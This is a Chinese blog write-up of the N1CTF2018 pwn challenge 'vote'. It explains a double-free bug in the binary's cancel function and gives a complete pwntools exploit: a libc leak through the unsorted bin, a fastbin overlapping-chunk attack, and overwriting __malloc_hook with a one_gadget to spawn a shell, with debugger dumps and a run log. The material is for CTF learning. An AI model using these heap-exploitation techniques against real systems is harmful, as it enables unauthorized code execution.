从入门到放弃系列之 N1CTF2018 pwn vote writeup

原创

一起交流 于 2019-03-12 07:47:53 发布 447 收藏

分类专栏： 安全研究之入门到放弃 文章标签： pwn

本文链接：https://blog.csdn.net/m0_37329910/article/details/88413165

N1CTF2018 pwn vote writeup

检查程序的安全防护情况

```
[*] '/home/zhangji16/c_study/vuln/n1ctf2018/pwn/vote/vote_patch
Arch:     amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX:    NX enabled
    PIE:   No PIE (0x400000)
```

基本上是比较常规的防护，PIE防护没开，got表，plt表，.bss或者.data里的变量的地址是固定的。实际上最后发现即使开了PIE保护也不需要变更exp文件。

程序基本功能

程序的功能大概就是模拟投票：

在菜单中选择create功能，输入候选人的名字的长度size,然后输入候选人的名字name；

```
void create_fun()
{
  _QWORD *v0; // ST08_8@5
  signed int i; // [sp+0h] [bp-20h]@1
  int v2; // [sp+4h] [bp-1Ch]@3

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(&ptr + i) )
    {
      write_fun2("Please enter the name's size: ");
      v2 = input_num();
      if ( v2 > 0 && v2 <= 4096 )
      {
        v0 = malloc(v2 + 16);
        *v0 = 0LL;
        v0[1] = time(0LL);
        write_fun2("Please enter the name: ");
        input_name((__int64)(v0 + 2), v2);
        *(&ptr + i) = v0;
      }
      return;
    }
  }
}
```

在菜单中选择show功能，输入要展示show的候选人的序号index,会打印出候选人的名字name,得票数count,以及时间time,这个时间time是在create功能创造候选人信息时生成的；

```
__int64 show_fun()
{
  int v1; // [sp+Ch] [bp-124h]@1
  char s; // [sp+10h] [bp-120h]@1
  __int64 v3; // [sp+128h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  memset(&s, 0, 0x10AuLL);
  write_fun2("Please enter the index: ");
  v1 = input_num();
  if ( v1 >= 0 && v1 <= 15 && *(&ptr + v1) )
  {
    snprintf(
      &s,
      0x100uLL,
      "name: %s\ncount: %lu\ntime: %lu",
      (char *)*(&ptr + v1) + 16,
      *(_QWORD *)*(&ptr + v1),
      *((_QWORD *)*(&ptr + v1) + 1));
    write_fun(&s);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

在菜单中选择vote功能，输入候选人序号index,相应候选人的得票数加1；

```
__int64 vote_fun()
{
  char *v0; // rbx@4
  int v2; // [sp+Ch] [bp-24h]@1
  pthread_t newthread; // [sp+10h] [bp-20h]@4
  __int64 v4; // [sp+18h] [bp-18h]@1

  v4 = *MK_FP(__FS__, 40LL);
  write_fun2("Please enter the index: ");
  v2 = input_num();
  if ( v2 >= 0 && v2 <= 15 && *(&ptr + v2) )
  {
    ++*(_QWORD *)*(&ptr + v2);
    v0 = (char *)*(&ptr + v2) + 8;
    *(_QWORD *)v0 = time(0LL);
    index_dword_602160 = v2;
    pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
  }
  return *MK_FP(__FS__, 40LL) ^ v4;
}
```

在菜单中选择resulte功能会展示所有票数不为零的候选人的票数；

```
__int64 result_fun()
{
  signed int i; // [sp+Ch] [bp-124h]@1
  char s; // [sp+10h] [bp-120h]@1
  __int64 v3; // [sp+128h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  memset(&s, 0, 0x10AuLL);
  for ( i = 0; i <= 15; ++i )
  {
    if ( qword_602180[i] )
    {
      snprintf(&s, 0x100uLL, "%d\t->\t%lu", (unsigned int)i, qword_602180[i]);
      write_fun(&s);
      fflush(stdout);
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

在菜单中选择cancel功能，输入候选人序号index,相应候选人的的票数减1，当该候选人的的票数数小于零时，便释放掉free该候选人所占用的内存chunk,需要特别注意进入两个free函数句段的条件判断；

```
void cancel_fun()
{
  int v0; // [sp+Ch] [bp-4h]@1

  write_fun2("Please enter the index: ");
  v0 = input_num();
  if ( v0 >= 0 && v0 <= 15 && *(&ptr + v0) )
  {
    if ( --qword_602180[v0] == --*(_QWORD *)*(&ptr + v0) )
    {
      if ( qword_602180[v0] < 0 )
        free(*(&ptr + v0));
    }
    else if ( qword_602180[v0] < 0 )
    {
      printf("%s", (char *)*(&ptr + index_dword_602160) + 16);
      fflush(stdout);
      write_fun(" has freed");
      free(*(&ptr + v0));
      *(&ptr + v0) = 0LL;
    }
  }
}
```

仔细研究这个取消投票函数，可以发现，即使候选人一张票也没有也能够释放free该候选人所在堆块的指针,换言之该程序的投票函数是一个干扰项，一旦调用投票函数vote_fun，程序会生成新的线程，触发相关处理函数睡眠三秒并且会发送干扰信号。所以在整个程序利用过程中本exp的都没有考虑使用投票函数，这个投票功能对于漏洞利用来说没有任何作用。本程序的漏洞就在于释放掉堆块以后，这些指向堆块的指针可以不用置零，(进入else if 语段内才置零该指针)下次还可以调用取消投票函数cancel_fun再次释放这些指针。

利用思路

泄露libc等地址

几乎所有的利用思路都是：从leak information 开始的。程序提供的函数中show功能可以打印候选人的名字，票数，时间。票数这个位置实际上也是堆块的fd位置，如果我们申请一个unsorted_bin，然后再释放掉，再show这个候选人信息，这个票数位置存的就是unsorted bin的地址，这个地址减去一个固定的偏移0x58就可以得到main_arena 的地址，这个main_arena的偏移在libc为文件中是可以找到的，实际上效果就是相当于得到了libc.so在程序中的基址。相关exp片段如下:

```
#!/usr/bin/python
from pwn import *
p = process('./vote_patch')
#p = remote(ip, port)
libc = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
def create(sz, name):
    ……
def show(index_num):
    ……
def vote(vote_index):
    ……
def result():
    ……
def cancel(can_num):
    p.recvuntil('Action: ')
    p.sendline(str(4))
    p.recvuntil('Please enter the index: ')
    p.sendline(str(can_num)) #bug here
def exit():
    ……
####----------malloc 4 chunk size 0xd1，index 0 1 2 3-------------------------
for i in range(0,4):
        create(180, chr(0x61+i)*1)  #0xd0-0x10-0x10=176~180
####----------free(1) to leak the unsortedbin_addr-----------------------------
cancel(1)   #释放掉unsorte bin
show(1)    #leak fd get libc base addr
nouse_data1 = p.recvuntil('count:')  #从收到的信息中提取出fd上的信息
data1 = p.recvuntil('\ntime')
data1 = int(data1[:-5])
print 'unsortedbin[0] address: ' + hex(data1)
main_arena_addr = data1 - 0x58
print 'main_arena address: ' + hex(main_arena_addr)
main_arena_offset = 0x3c4b20 #get it by libc.so
libc_addr = main_arena_addr - main_arena_offset
print 'libc_addr: ' + hex(libc_addr)
fastbin attack
```

分析本程序可以发现，单单只通过正常的堆布局，企图利用低地址的堆溢出去覆盖高地址位置的堆的数据是比较难的，低地址的堆padding的数据是没法正常流动到高地址堆块的fd,bk字段的，所以采用重叠堆块(overlapping chunk)的方式来篡改物理相邻的高地址堆块的fd等字段内容。具体操作如下，前一步已经释放了index 1的堆块size 0xd0，被放入了unsorted bin中，接下来申请两个大小分别是0x70,0x30的‘fastbin’堆块，序号4，5(这2块会从unsorted bin中切下来，0xd0-0x70-0x30=0x30)；然后释放index 2 的堆块，这一步操作会使得释放的堆块2合并前面剩下的0x30一起放到unsorted bin中，然后再申请一块大小为0x70的堆块序号index 6,这样的话三个连续的fastbin块便包含在序号为1，2的两个size为0xd0的块中，其中index 6堆块正好跨越index 1 , 2 的堆块，之后便可以通过往index 6 chunk里面写内容来更改index 2的相关数据。具体见下面的部分exp文件：

```
print "malloc 4 5 chunk"
create(80, chr(0x41))  #index 4
create(16, chr(0x42))  #index 5
####---------free(2) to get the big unsorted bin ----------------------------------
cancel(2)  #free（p2）
####---------malloc 0x70 index 6-----------------------------------------------
payload_index6 = p64(0) + p64(0) + p64(0x30) + p64(0xd1) + p8(0x0)*16 #0xd0---->0xd1避免向低地址合并,具体见后面补充说明1的解释
create(80, payload_index6)  #往index 6 chunk写内容，
###再申请一块0x90的内存
create(0x70, 'A')
###in fact, the operation is necessary here.具体见补充说明2
print 'free index 2 chunk'
cancel(2)
#上面free(p2)以后就会把这一块放到unsorted bin中，然后再申请一块0x70块，从p2中切下来，不过需要p64（0x71）（满足当free(p6)时候的对齐要求）
payload_index2 = p64(0)*2 + p64(0)*2 + p64(0) + p64(0x71)
create(80, payload_index2)

print 'free index 2 4 6'
raw_input()
cancel(2)  #free(p2)
cancel(4)  #free(p4)
cancel(6)   #free(6) 能满足对齐要求，注意fastbins[0]中链表关系index6->index4->index2->?
```

分配chunk到malloc_hook附近

由于 malloc hook 附近的 chunk 大小为 0x7f(见补充说明3)，所以目标就是通过fastbin attack 把堆内存分配到malloc_hook附近，然后覆盖掉malloc_hook里的地址为一个onegadget 地址，通过调用malloc函数触发execve("/bin/sh", rsp+0x30, environ) 得到shell。操作如下：

main_arena - 0x33 这个地址的意义 见补充说明3

```
print 'malloc index 6 to fill the content to make the index2 fd = main_arena - 0x33'
payload_index6 = p64(0)*2 + p64(0) + p64(0x71) + p64(main_arena_addr-0x33) + p64(0)
create(80,payload_index6)  #get chunk index 6，fastbins[0x70]：  4->2->malloc_hook
create(80, 'A'*4)   #fill chunk index 4
create(80, 'B'*4)   #get the index 2 chunk
print "will get the chunk malloc_hook"
print "one_gadget shell"
one_gadget_offset=0xf1147 #0x4526a execve("/bin/sh", rsp+0x30, environ),if not work,change another one_gadget
one_gadget = libc_addr + one_gadget_offset
print 'one_gedget address: ' + hex(one_gadget)
payload = 'C'*0x3 + p64(one_gadget)
create(80, payload)   #fill the chunk malloc_hook
####----------malloc() to trigger to execve('/bin/sh', ....)-----------------------
p.recvuntil('Action: ')
p.sendline(str(0))
p.recvuntil("Please enter the name's size: ")
p.sendline(str(80))
p.interactive()
```

小结

泄露地址，构造交叉堆伪造堆块，分配chunk到malloc_hook附近改写malloc_hook为one gadget地址；
之所以在分配fastbin块的时候坚决考虑0x70的原因，在于最后的0X7f的存在，他们都属于同一个idx 号的fastbin chunk。

补充部分

补充说明1：

```
0x1a3c170:  0x0000000000000000   0x0000000000000071
0x1a3c180:  0x0000000000000000   0x000000005aabd1fa
0x1a3c190:  0x0000000000000000   0x0000000000000000
0x1a3c1a0:  0x0000000000000030   0x00000000000000d0
0x1a3c1b0:（p2） 0xffffffffffffffff  0x000000005aabd1f7 #0xd0 free(p2)向低地址合并0x30,的但是没法通过unlink的检查，注意0x1a3c180 fd,所以改成0xd1，阻止合并
0x1a3c1c0:  0x0000000000000063   0x0000000000000000
0x1a3c1d0:  0x0000000000000000   0x0000000000000000
0x1a3c1e0:  0x0000000000000000   0x0000000000000091
0x1a3c1f0:   0x0000000000000000   0x000000005aabd1fa
0x1a3c200:  0x0000000000000041   0x0000000000000000
0x1a3c210:  0x0000000000000000   0x0000000000000000
0x1a3c220:  0x0000000000000000   0x0000000000000000
0x1a3c230:  0x0000000000000000   0x0000000000000000
0x1a3c240:  0x0000000000000000   0x0000000000000000
0x1a3c250:  0x0000000000000000   0x0000000000000000
0x1a3c260:  0x0000000000000000   0x0000000000000000
0x1a3c270:  0x0000000000000090   0x00000000000000d1
0x1a3c280:  0x0000000000000000   0x000000005aabd1f7
0x1a3c290:  0x0000000000000064   0x0000000000000000
0x1a3c2a0:  0x0000000000000000   0x0000000000000000
```

补充说明2：

```
0xbfd170:    0x0000000000000000   0x0000000000000101
0xbfd180:    0x00007f7173249b78 0x00007f7173249b78
0xbfd190:    0x0000000000000000   0x0000000000000000
0xbfd1a0:    0x0000000000000030   0x00000000000000d0
0xbfd1b0:（p2）0xffffffffffffffff  0x000000005aabce96 #向下找到0xbfb278：0xd0说明p2已经被释放了，现在如果再释放就会触发double free 错误，所以需要分配一块0x90 即malloc(0x70, ‘A’),使得0xbfb278的0xd0变成0xd1
0xbfd1c0:    0x0000000000000063   0x0000000000000000
0xbfd1d0:    0x0000000000000000   0x0000000000000000
0xbfd1e0:    0x0000000000000000   0x0000000000000000
0xbfd1f0: 0x0000000000000000   0x0000000000000000
0xbfd200:    0x0000000000000000   0x0000000000000000
0xbfd210:    0x0000000000000000   0x0000000000000000
0xbfd220:    0x0000000000000000   0x0000000000000000
0xbfd230:    0x0000000000000000   0x0000000000000000
0xbfd240:    0x0000000000000000   0x0000000000000000
0xbfd250:    0x0000000000000000   0x0000000000000000
0xbfd260:    0x0000000000000000   0x0000000000000000
0xbfd270:    0x0000000000000100   0x00000000000000d0
0xbfd280:    0x0000000000000000   0x000000005aabce96
0xbfd290:    0x0000000000000064   0x0000000000000000
0xbfd2a0:    0x0000000000000000   0x0000000000000000
0xbfd2b0:    0x0000000000000000   0x0000000000000000
0xbfd2c0:    0x0000000000000000   0x0000000000000000
```

补充说明3：

```
pwndbg> p/x &main_arena
$1 = 0x7f39ce838b20
pwndbg> x/20gx 0x7f39ce838b20-0x33
0x7f39ce838aed <_IO_wide_data_0+301>:    0x39ce837260000000 0x000000000000007f
0x7f39ce838afd:  0x39ce4f9e20000000  0x39ce4f9a0000007f
0x7f39ce838b0d <__realloc_hook+5>:   0x000000000000007f 0x0000000000000000
0x7f39ce838b1d: 0x0100000000000000   0x0000000000000000
0x7f39ce838b2d <main_arena+13>:  0x0000000000000000   0x0000000000000000
```

完整exp文件
本地ub 16.04测试成功

```
zhangji16@zhangji16vm:~/c_study/vuln/n1ctf2018/pwn/vote$ python vote_exp3.py
[+] Starting local process './vote_patch': pid 9469
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      PIE enabled
[*] '/home/zhangji16/c_study/vuln/n1ctf2018/pwn/vote/vote_patch'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x400000)

unsortedbin[0] address: 0x7f4f3a36bb78
main_arena address: 0x7f4f3a36bb20
libc_addr: 0x7f4f39fa7000
one_gedget address: 0x7f4f3a098147

[*] Switching to interactive mode
$ id
uid=1000(zhangji16) gid=1000(zhangji16) 组=1000(zhangji16),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpa
dmin),128(sambashare)

#!/usr/bin/python
from pwn import *

p = process('./vote_patch')
#p = remote(ip, port)
libc = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
elf = ELF('./vote_patch')

def create(sz, name):
   p.recvuntil('Action: ')
   p.sendline(str(0))
   p.recvuntil("Please enter the name's size: ")
   p.sendline(str(sz))
   p.recvuntil('Please enter the name: ')
   p.sendline(name)

def show(index_num):
   p.recvuntil('Action: ')
   p.sendline(str(1))
   p.recvuntil('Please enter the index: ')
   p.sendline(str(index_num))

def vote(vote_index):
   p.recvuntil('Action: ')
   p.sendline(str(2))
   p.recvuntil('Please enter the index: ')
   p.sendline(str(vote_index)) ###tips: new thread

def result():
   p.recvuntil('Action: ')
   p.sendline(str(3))
```

```
def cancel(can_num):
   p.recvuntil('Action: ')
   p.sendline(str(4))
   p.recvuntil('Please enter the index: ')
   p.sendline(str(can_num))  ##double free

def exit():
   p.recvuntil('Action: ')
   p.sendline(str(5))

####----------malloc 4 chunk size 0xd1----------------------------------------
for i in range(0,4):
       create(180, chr(0x61+i)*1)
####----------free(1) to leak the unsortedbin_addr----------------------------
#### /lib/x86_64-linux-gnu/libc-2.23.so local pc ub16.04
cancel(1)
show(1)
nouse_data1 = p.recvuntil('count:')
data1 = p.recvuntil('\ntime')
data1 = int(data1[:-5])
print 'unsortedbin[0] address: ' + hex(data1)
main_arena_addr = data1 - 0x58
print 'main_arena address: ' + hex(main_arena_addr)
main_arena_offset = 0x3c4b20
libc_addr = main_arena_addr - main_arena_offset
print 'libc_addr: ' + hex(libc_addr)

####---------malloc 0x70 0x30 padding in the unsortedbin chunk by free(1)-------
print "malloc 4 5 chunk"
create(80, chr(0x41))  #index 4
create(16, chr(0x42))  #index 5

####---------free(2) to get the big unsorted bin ------------------------------
cancel(2)

####---------malloc 0x70 index 6-----------------------------------------------
payload_index6 = p64(0) + p64(0) + p64(0x30) + p64(0xd1) + p8(0x0)*16
create(80, payload_index6)  #index 6
###
create(0x70, 'A')
###in fact, the operation is necessary here.
print 'free index 2 chunk'
cancel(2)

print 'malloc 0x70 then fill content to fit the index 6 alignment'
payload_index8 = p64(0)*2 + p64(0)*2 + p64(0) + p64(0x71)
create(80, payload_index8)

print 'free 2 4 6'
cancel(2)
cancel(4)
cancel(6)

print 'malloc index 6 to fill the content to make the index2 fd = main_arena - 0x33'
payload_index6 = p64(0)*2 + p64(0) + p64(0x71) + p64(main_arena_addr-0x33) + p64(0)
create(80,payload_index6)  #get chunk index 6
create(80, 'A'*4)   #fill chunk index 4
create(80, 'B'*4)   #get the index 2 chunk
print "will get the chunk malloc_hook"
```

```
print "one_gadget shell"
one_gadget_offset = 0xf1147  #0x4526a execve("/bin/sh", rsp+0x30, environ),if not work,change another one_gadget
one_gadget = libc_addr + one_gadget_offset
print 'one_gedget address: ' + hex(one_gadget)
payload = 'C'*0x3 + p64(one_gadget)
create(80, payload)   #fill the chunk malloc_hook
####----------malloc() to trigger to execve('/bin/sh', ....)------------------------
p.recvuntil('Action: ')
p.sendline(str(0))
p.recvuntil("Please enter the name's size: ")
p.sendline(str(80))
p.interactive()
```